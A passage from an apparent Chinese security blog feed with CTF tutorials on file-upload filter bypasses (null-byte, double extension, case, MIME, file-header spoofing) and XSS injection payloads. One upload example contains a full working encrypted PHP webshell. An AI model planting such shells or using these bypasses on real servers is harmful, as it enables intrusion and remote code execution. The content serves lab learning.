class="variable">$ext</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">move_uploaded_file</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>], <span class="variable">$des</span>)) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;script&gt;alert(&#x27;上传成功&#x27;)&lt;/script&gt;&quot;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;script&gt;alert(&#x27;上传失败&#x27;)&lt;/script&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;文件类型不匹配&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>抓包，修改GET参数为<code>?road=/var/www/html/upload/shell.php%00</code>，使用<code>00</code>截断，在传入文件的内容替换成需要执行的代码，如一句话等</p><p><img src="/posts/931c692/f78ac8eccde754e43869718de37e0d80.png" alt="f78ac8eccde754e43869718de37e0d80"></p><p>然后使用蚁剑连接进入，可以看到我们是成功使用<code>00</code>截断写入的shell.php</p><p><img src="/posts/931c692/image-20240310194757813.png" alt="image-20240310194757813"></p><h1 id="后端检测-修改绕过"><a href="#后端检测-修改绕过" class="headerlink" title="后端检测-修改绕过"></a>后端检测-修改绕过</h1><blockquote><p>通过抓包我们发送的请求，修改请求包中的部分内容，如修改文件名(黑名单双写，大小写替换)，MIME，添加文件头等等操作，使之上传的木马符合后端的要求，使之成功上传。</p></blockquote><h2 id="双写绕过"><a href="#双写绕过" class="headerlink" title="双写绕过"></a>双写绕过</h2><h3 id="双写绕过原理"><a href="#双写绕过原理" class="headerlink" title="双写绕过原理"></a>双写绕过原理</h3><p>有时候在检测时，后台会把敏感字符删除，这个时候，可以使用双写进行绕过。比如：将<code>.php</code>改写为<code>.pphphp</code></p><p>后端的代码类似为：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">basename</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>]);</span><br><span class="line"><span class="variable">$blacklist</span> = <span class="keyword">array</span>(<span class="string">&quot;php&quot;</span>, <span class="string">&quot;php5&quot;</span>, <span class="string">&quot;php4&quot;</span>, <span class="string">&quot;php3&quot;</span>, <span class="string">&quot;phtml&quot;</span>, <span class="string">&quot;pht&quot;</span>, <span class="string">&quot;jsp&quot;</span>, <span class="string">&quot;jspa&quot;</span>, <span class="string">&quot;jspx&quot;</span>, <span class="string">&quot;jsw&quot;</span>, <span class="string">&quot;jsv&quot;</span>, <span class="string">&quot;jspf&quot;</span>, <span class="string">&quot;jtml&quot;</span>, <span class="string">&quot;asp&quot;</span>, <span class="string">&quot;aspx&quot;</span>, <span class="string">&quot;asa&quot;</span>, <span class="string">&quot;asax&quot;</span>, <span class="string">&quot;ascx&quot;</span>, <span class="string">&quot;ashx&quot;</span>, <span class="string">&quot;asmx&quot;</span>, <span class="string">&quot;cer&quot;</span>, <span class="string">&quot;swf&quot;</span>, <span class="string">&quot;htaccess&quot;</span>, <span class="string">&quot;ini&quot;</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">str_ireplace</span>(<span class="variable">$blacklist</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$name</span>); <span class="comment">//str_ireplace() 函数替换字符串中的一些字符（不区分大小写）</span></span><br></pre></td></tr></table></figure><h3 id="例题：-3"><a href="#例题：-3" class="headerlink" title="例题："></a>例题：</h3><p><strong>CTFHUB-技能树-WEB-文件上传-双写后缀</strong></p><p>查看页面源码，发现这样一段内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;!--</span><br><span class="line">$name = basename($_FILES[&#x27;file&#x27;][&#x27;name&#x27;]);</span><br><span class="line">$blacklist = array(&quot;php&quot;, &quot;php5&quot;, &quot;php4&quot;, &quot;php3&quot;, &quot;phtml&quot;, &quot;pht&quot;, &quot;jsp&quot;, &quot;jspa&quot;, &quot;jspx&quot;, &quot;jsw&quot;, &quot;jsv&quot;, &quot;jspf&quot;, &quot;jtml&quot;, &quot;asp&quot;, &quot;aspx&quot;, &quot;asa&quot;, &quot;asax&quot;, &quot;ascx&quot;, &quot;ashx&quot;, &quot;asmx&quot;, &quot;cer&quot;, &quot;swf&quot;, &quot;htaccess&quot;, &quot;ini&quot;);</span><br><span class="line">$name = str_ireplace($blacklist, &quot;&quot;, $name);</span><br><span class="line">--&gt;</span><br></pre></td></tr></table></figure><p>这时候上传<code>shell</code>文件，并抓包，将后缀名<code>.php</code>改写为<code>.pphphp</code>，再发包最后成功上传</p><h2 id="大小写后缀绕过"><a href="#大小写后缀绕过" class="headerlink" title="大小写后缀绕过"></a>大小写后缀绕过</h2><h3 id="大小写后缀绕过-1"><a href="#大小写后缀绕过-1" class="headerlink" title="大小写后缀绕过"></a>大小写后缀绕过</h3><p>后端在检测时，后台会检测敏感字符，如果并没有不区分大小写时，可以使用大小写进行绕过。比如：将<code>.php</code>改写为<code>.pHp</code></p><p>后端的代码类似为：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">basename</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>]);</span><br><span class="line"><span class="variable">$blacklist</span> = <span class="keyword">array</span>(<span class="string">&quot;php&quot;</span>, <span class="string">&quot;php5&quot;</span>, <span class="string">&quot;php4&quot;</span>, <span class="string">&quot;php3&quot;</span>, <span class="string">&quot;phtml&quot;</span>, <span class="string">&quot;pht&quot;</span>, <span class="string">&quot;jsp&quot;</span>, <span class="string">&quot;jspa&quot;</span>, <span class="string">&quot;jspx&quot;</span>, <span class="string">&quot;jsw&quot;</span>, <span class="string">&quot;jsv&quot;</span>, <span class="string">&quot;jspf&quot;</span>, <span class="string">&quot;jtml&quot;</span>, <span class="string">&quot;asp&quot;</span>, <span class="string">&quot;aspx&quot;</span>, <span class="string">&quot;asa&quot;</span>, <span class="string">&quot;asax&quot;</span>, <span class="string">&quot;ascx&quot;</span>, <span class="string">&quot;ashx&quot;</span>, <span class="string">&quot;asmx&quot;</span>, <span class="string">&quot;cer&quot;</span>, <span class="string">&quot;swf&quot;</span>, <span class="string">&quot;htaccess&quot;</span>, <span class="string">&quot;ini&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$pattern</span> = <span class="string">&#x27;/\b(&#x27;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;|&#x27;</span>, <span class="variable">$blacklist</span>) . <span class="string">&#x27;)\b/&#x27;</span>; <span class="comment">//区分大小写</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="variable">$pattern</span>, <span class="variable">$name</span>)) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;hack&#x27;</span>;</span><br><span class="line">    <span class="keyword">exit</span>();</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><h3 id=""><a href="#" class="headerlink" title=""></a></h3><h2 id="MIME检测绕过"><a href="#MIME检测绕过" class="headerlink" title="MIME检测绕过"></a>MIME检测绕过</h2><h3 id="MIME简介"><a href="#MIME简介" class="headerlink" title="MIME简介"></a>MIME简介</h3><p>MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准，用来表示文档、文件或字节流的性质和格式。浏览器通常使用 MIME 类型（而不是文件扩展名）来确定如何处理URL。部分Web应用系统判定文件类型是通过<code>content-type字段</code>，截取一个请求信息：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Content-Length: 930</span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line">Referer: http://challenge-bb136257750ed7ee.sandbox.ctfhub.com:10800/</span><br><span class="line">Accept-Encoding: gzip, deflate, br</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;echo.php&quot;</span><br><span class="line">Content-Type: application/octet-stream</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">echo &#x27;wells&#x27;;</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">Content-Disposition: form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">Submit</span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz--</span><br></pre></td></tr></table></figure><p>其中<code>Content-Type: application/octet-stream</code>和就是描述了上传文件的MIME 类型</p><h3 id="MIME绕过方法"><a href="#MIME绕过方法" class="headerlink" title="MIME绕过方法"></a>MIME绕过方法</h3><p>部分Web应用系统判定文件类型是通过<code>content-type字段</code>，因此可以通过抓包，将<code>content-type字段</code>改为常见的<code>图片类型</code>，如<code>image/gif</code>，从而绕过校验。</p><h3 id="常见的MIME类型"><a href="#常见的MIME类型" class="headerlink" title="常见的MIME类型:"></a>常见的MIME类型:</h3><p><code>text/plain</code> （纯文本）  <code>text/html</code> （HTML文档）  <code>text/javascript</code> （js代码）  <code>application/xhtml+xml</code> （XHTML文档）  <code>image/gif</code> （GIF图像）  <code>image/jpeg</code> （JPEG图像）  <code>image/png</code> （PNG图像）  <code>video/mpeg</code> （MPEG动画）  <code>application/octet-stream</code> （二进制数据）  <code>application/pdf</code> （PDF文档）</p><h3 id="例题：-4"><a href="#例题：-4" class="headerlink" title="例题："></a>例题：</h3><p><strong>CTFHUB-技能树-WEB-文件上传-MIME绕过</strong></p><p>尝试直接上传<code>.htaccess</code>和<code>php</code>shell文件时都上传失败，尝试修改MIME类型，抓包原始请求头</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Content-Length: 930</span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line">Referer: http://challenge-bb136257750ed7ee.sandbox.ctfhub.com:10800/</span><br><span class="line">Accept-Encoding: gzip, deflate, br</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;</span><br><span class="line">Content-Type: application/octet-stream</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">@error_reporting(0);</span><br><span class="line">session_start();</span><br><span class="line">    $key=&quot;7dad18e6e49e447a&quot;;</span><br><span class="line">$_SESSION[&#x27;k&#x27;]=$key;</span><br><span class="line">session_write_close();</span><br><span class="line">$post=file_get_contents(&quot;php://input&quot;);</span><br><span class="line">if(!extension_loaded(&#x27;openssl&#x27;))</span><br><span class="line">&#123;</span><br><span class="line">$t=&quot;base64_&quot;.&quot;decode&quot;;</span><br><span class="line">$post=$t($post.&quot;&quot;);</span><br><span class="line"></span><br><span class="line">for($i=0;$i&lt;strlen($post);$i++) &#123;</span><br><span class="line">     $post[$i] = $post[$i]^$key[$i+1&amp;15]; </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">else</span><br><span class="line">&#123;</span><br><span class="line">$post=openssl_decrypt($post, &quot;AES128&quot;, $key);</span><br><span class="line">&#125;</span><br><span class="line">    $arr=explode(&#x27;|&#x27;,$post);</span><br><span class="line">    $func=$arr[0];</span><br><span class="line">    $params=$arr[1];</span><br><span class="line">class C&#123;public function __invoke($p) &#123;eval($p.&quot;&quot;);&#125;&#125;</span><br><span class="line">    @call_user_func(new C(),$params);</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz</span><br><span class="line">Content-Disposition: form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">Submit</span><br><span class="line">------WebKitFormBoundarydBnKdxUvNtC4xakz--</span><br></pre></td></tr></table></figure><p>将</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundary4BffHh31AMlHQtBd</span><br><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;</span><br><span class="line">Content-Type: application/octet-stream</span><br></pre></td></tr></table></figure><p>修改为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundary4BffHh31AMlHQtBd</span><br><span class="line">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;</span><br><span class="line">Content-Type: image/gif</span><br></pre></td></tr></table></figure><p>再放行，最后发现<code>shell.php</code>被成功上传，访问<code>upload/shell.php</code>，无内容显示，说明<code>.txt</code>文件被作为php脚本执行成功，使用冰蝎连接</p><p><img src="/posts/931c692/image-20240305205615030.png" alt="image-20240305205615030"></p><p>成功获取<code>phpinfo</code>页面，连接成功，读取flag</p><h2 id="文件头检测绕过"><a href="#文件头检测绕过" class="headerlink" title="文件头检测绕过"></a>文件头检测绕过</h2><h3 id="文件头检测绕过简介"><a href="#文件头检测绕过简介" class="headerlink" title="文件头检测绕过简介"></a>文件头检测绕过简介</h3><p>文件头是在每一个文件（包括图片，视频或其他的非ASCII文件）的开头（十六进制表示）的一段数据，用于描述文件的属性和格式信息， 在进行<strong>文件头绕过</strong>时，我们可以把图片的<strong>文件头</strong>添加到我们的木马内容最前面，达到绕过文件头检测的目的。</p><h3 id="常见的文件头"><a href="#常见的文件头" class="headerlink" title="常见的文件头"></a>常见的文件头</h3><p><strong>注意：文本形式请点击复制，不要做任何修改</strong></p><p> GIF：</p><p>16进制模式：<code>47 49 46 38 39 61</code></p><p>对应文本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GIF89a</span><br></pre></td></tr></table></figure><p> png：</p><p>16进制模式：<code>89 50 4E 47 0D 0A 1A 0A</code> </p><p>对应文本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">‰PNG</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>JPG：</p><p>16进制模式：<code>FF D8 FF E0 00 10 4A 46 49 46 </code>   </p><p>对应文本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ÿØÿà</span><br></pre></td></tr></table></figure><h3 id="文件头检测绕过条件"><a href="#文件头检测绕过条件" class="headerlink" title="文件头检测绕过条件"></a>文件头检测绕过条件</h3><ul><li>某些情况下，后端可能还会检测文件拓展名，此时需要结合<strong>解析漏洞</strong>或者<strong>文件包含</strong>才能实现执行木马</li></ul><h3 id="例题：-5"><a href="#例题：-5" class="headerlink" title="例题："></a>例题：</h3><p><strong>CTFHUB-技能树-WEB-文件上传-文件头检查</strong></p><p>步骤一：直接选择木马文件进行上传，然后进行抓包</p><p><img src="/posts/931c692/image-20240311194544976.png" alt="image-20240311194544976"></p><p><img src="/posts/931c692/image-20240311194902164.png" alt="image-20240311194902164"></p><p><strong>以添加PNG请求头为例</strong></p><p>方法一：在PHP代码前添加入任意八个字母，用于定位以及替换为PNG的文件头，后转HEX模式替换为PNG的文件头</p><p><img src="/posts/931c692/75033ba79ccf8f01e779c986126eab6d.png" alt="75033ba79ccf8f01e779c986126eab6d"></p><p>方法二：直接在PHP代码后插入PNG文件头对应的文本表示符号</p><p><img src="/posts/931c692/d27ef6d3293e7bd2c81eb69580af1915.png" alt="d27ef6d3293e7bd2c81eb69580af1915"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;概述&quot;&gt;&lt;a href=&quot;#概述&quot; class=&quot;headerlink&quot; title=&quot;概述&quot;&gt;&lt;/a&gt;概述&lt;/h1&gt;&lt;h2 id=&quot;什么是文件上传漏洞&quot;&gt;&lt;a href=&quot;#什么是文件上传漏洞&quot; class=&quot;headerlink&quot; title=&quot;什么是文件上传</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-FileUpload" scheme="https://wells.host/tags/Web-FileUpload/"/>
    
  </entry>
  
  <entry>
    <title>XSS</title>
    <link href="https://wells.host/posts/fe1aa8c3/"/>
    <id>https://wells.host/posts/fe1aa8c3/</id>
    <published>2024-02-18T12:27:38.000Z</published>
    <updated>2025-08-05T09:16:33.185Z</updated>
    
    <content type="html"><![CDATA[<h1 id="XSS简介"><a href="#XSS简介" class="headerlink" title="XSS简介"></a>XSS简介</h1><p>动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting，缩写成XSS）的威胁，恶意攻击者会在 Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。跨站脚本攻击允许恶意用户将代码注入网页，其他用户在浏览网页时会受到影响，恶意用户利用xss 代码攻击成功后，可能得到很高的权限、私密网页内容、会话和cookie等各种内容</p><h2 id="XSS的分类："><a href="#XSS的分类：" class="headerlink" title="XSS的分类："></a>XSS的分类：</h2><h3 id="1、反射型-非持久化"><a href="#1、反射型-非持久化" class="headerlink" title="1、反射型(非持久化)"></a>1、反射型(非持久化)</h3><p>​(1)<strong>原理</strong></p><p>​反射型xss又称非持久型xss。发出请求时，此类XSS代码出现在URL中，作为输入提交到服务器端，XSS代码被服务器端解析后传回给浏览器，后解析执行XSS代码。</p><p>​(2)<strong>攻击方式</strong></p><p>​攻击者将包含xss代码的恶意链接发送给目标用户。当其他用户访问该链接时，服务器接受该用户的URL中参数的请求并进行处理，后xss代码被服务器发送给其他用户的浏览器，触发xss漏洞</p><h3 id="2、存储型-持久化"><a href="#2、存储型-持久化" class="headerlink" title="2、存储型(持久化)"></a>2、存储型(持久化)</h3><p>​(1)<strong>原理</strong></p><p>​存储型XSS，提交的代码会存储在服务器端，其他用户请求该页面时会触发xss漏洞，无需访问攻击者的特定链接。例如：留言板中的XSS，用户提交一条包含XSS代码的留言存储到数据库，其他用户查看留言板时，那些留言就会从数据库中加载出来并显示，于是触发了XSS攻击</p><p>​(2)<strong>攻击方式</strong></p><p>​攻击者将包含xss代码的恶意链接发送给目标用户。当目标用户访问该链接时，页面进行解析后响应，最后浏览器解析执行XSS代码，触发xss漏洞</p><h3 id="3、DOM-based型"><a href="#3、DOM-based型" class="headerlink" title="3、DOM-based型"></a>3、DOM-based型</h3><blockquote><p>文档对象模型（DOM）是一个网络文档的编程接口。它代表页面，以便程序可以改变文档的结构、风格和内容。DOM 将文档表示为节点和对象；这样，编程语言就可以与页面交互。</p></blockquote><p>​(1)<strong>原理</strong></p><p>​DOM型xss其实是一种特殊类型的反射型xss，与反射型类似此类XSS代码出现在URL中，但DOM XSS和反射型XSS的区别在于DOM XSS代码并不需要服务器参与，依靠客户端进行解析。</p><p>​(2)<strong>攻击方式</strong></p><p>​与反射型类似，当其他用户访问该链接时，当用户的浏览器处理这个响应时，DOM对象就会处理xss代码，导致存在xss漏洞</p><h2 id="XSS代码插入位置"><a href="#XSS代码插入位置" class="headerlink" title="XSS代码插入位置"></a>XSS代码插入位置</h2><h3 id="1-插入到HTML注释内容中"><a href="#1-插入到HTML注释内容中" class="headerlink" title="1.插入到HTML注释内容中"></a>1.插入到HTML注释内容中</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- </span></span><br><span class="line"><span class="comment">&lt;script&gt;  alert(&#x27;XSS&#x27;);&lt;/script&gt;</span></span><br><span class="line"><span class="comment">--&gt;</span></span><br></pre></td></tr></table></figure><h3 id="2-插入到HTML标签的属性值中"><a href="#2-插入到HTML标签的属性值中" class="headerlink" title="2.插入到HTML标签的属性值中"></a>2.插入到HTML标签的属性值中</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;image,png&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注：<code>onerror</code>属性是HTML中<code>&lt;img&gt;</code>标签的一个事件属性，它用于定义当图像加载失败时执行的JavaScript代码。</p><h3 id="3-插入到HTML标签的属性名中"><a href="#3-插入到HTML标签的属性名中" class="headerlink" title="3.插入到HTML标签的属性名中"></a>3.插入到HTML标签的属性名中</h3><p>使用语句</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&gt;&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>构造闭合，可得到以下内容：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>利用构造闭合的方式将恶意代码插入到某个标签中，将恶意代码插入到了标签中的属性值中，实现XSS攻击</p><h3 id="4-插入到HTML标签名中"><a href="#4-插入到HTML标签名中" class="headerlink" title="4.插入到HTML标签名中"></a>4.插入到HTML标签名中</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt; <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"> <span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>) </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>img src=&quot;/1.png&quot;&gt;</span><br></pre></td></tr></table></figure><p>浏览器会将第一个尖括号视为整体标签名的起始符号，而第二个尖括号则是<code>&lt;script&gt;</code> 标签的起始符号，导致浏览器误以为有两个标签被嵌套在一起，从而实现XSS攻击</p><h3 id="6-插入到CSS中"><a href="#6-插入到CSS中" class="headerlink" title="6.插入到CSS中"></a>6.插入到CSS中</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;div style=&quot;background-image:url(&#x27;javascript:alert(`1`)&#x27;);&quot;&gt;</span><br></pre></td></tr></table></figure><p>我们在background-image样式属性中插入了一段JavaScript url（<em>在过去，一些浏览器可能没有严格限制这种用法，允许<code>javascript:</code>伪协议在CSS属性中执行JavaScript代码。</em>），当用户打开这一个页面时，会执行弹窗，浏览器会执行我们插入的java伪协议代码，从而执行恶意代码。</p><h3 id="7-插入到HTTP响应中"><a href="#7-插入到HTTP响应中" class="headerlink" title="7.插入到HTTP响应中"></a>7.插入到HTTP响应中</h3><p><strong>先留一个坑，还没看懂这个部分，后面再来填</strong></p><h2 id="运行脚本的标签以及对应属性"><a href="#运行脚本的标签以及对应属性" class="headerlink" title="运行脚本的标签以及对应属性"></a>运行脚本的标签以及对应属性</h2><p><strong><code>&lt;a&gt;</code> 标签</strong></p><p><strong>对应属性：</strong></p><p><code>href</code>属性（手动点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;javascript:alert(1)&quot;&gt;test&lt;/a&gt;</span><br></pre></td></tr></table></figure><p><code>onfocus</code>（获取焦点时触发XSS，如:点击）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;x&quot; onfocus=&quot;alert(&#x27;xss&#x27;);&quot; autofocus=&quot;&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><p><code>onclick</code>（点击时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;x&quot; onclick=eval(&quot;alert(&#x27;xss&#x27;);&quot;)&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;x&quot; onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseout</code>（鼠标移出时触发XSS）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;a href=&quot;x&quot; onmouseout=&quot;alert(&#x27;xss&#x27;);&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><h3 id="标签"><a href="#标签" class="headerlink" title="&lt;img&gt;标签"></a><code>&lt;img&gt;</code>标签</h3><p><strong>对应属性：</strong></p><p><code>onerror</code>（加载错误时触发XSS、将src乱输入一个值即可）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=x onerror=&quot;alert(1)&quot;&gt;</span><br><span class="line">&lt;img src=x onerror=eval(&quot;alert(1)&quot;)&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseover</code>（鼠标悬停于该元素时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=1 onmouseover=&quot;alert(&#x27;xss&#x27;);&quot;&gt;</span><br></pre></td></tr></table></figure><p><code>onmouseout</code>（鼠标移出时触发XSS）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=1 